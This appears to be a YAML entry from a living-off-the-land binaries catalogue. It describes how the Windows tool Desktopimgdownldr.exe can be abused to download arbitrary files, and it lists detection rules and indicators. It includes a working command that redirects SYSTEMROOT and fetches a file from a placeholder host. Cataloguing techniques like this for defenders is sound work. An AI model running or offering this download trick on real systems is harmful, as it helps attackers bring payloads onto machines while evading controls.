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29 lines
1.5 KiB
YAML
29 lines
1.5 KiB
YAML
---
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Name: Desktopimgdownldr.exe
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Description: Windows binary used to configure lockscreen/desktop image
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Author: Gal Kristal
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Created: 2020-06-28
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Commands:
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- Command: set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
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Description: Downloads the file and sets it as the computer's lockscreen
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Usecase: Download arbitrary files from a web server
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows 10, Windows 11
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Full_Path:
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- Path: c:\windows\system32\desktopimgdownldr.exe
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Code_Sample:
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- Code:
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_susp_execution.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml
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- Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/command_and_control_remote_file_copy_desktopimgdownldr.toml
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- IOC: desktopimgdownldr.exe that creates non-image file
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- IOC: Change of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl
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Resources:
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- Link: https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/
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Acknowledgement:
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- Person: Gal Kristal
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Handle: '@gal_kristal'
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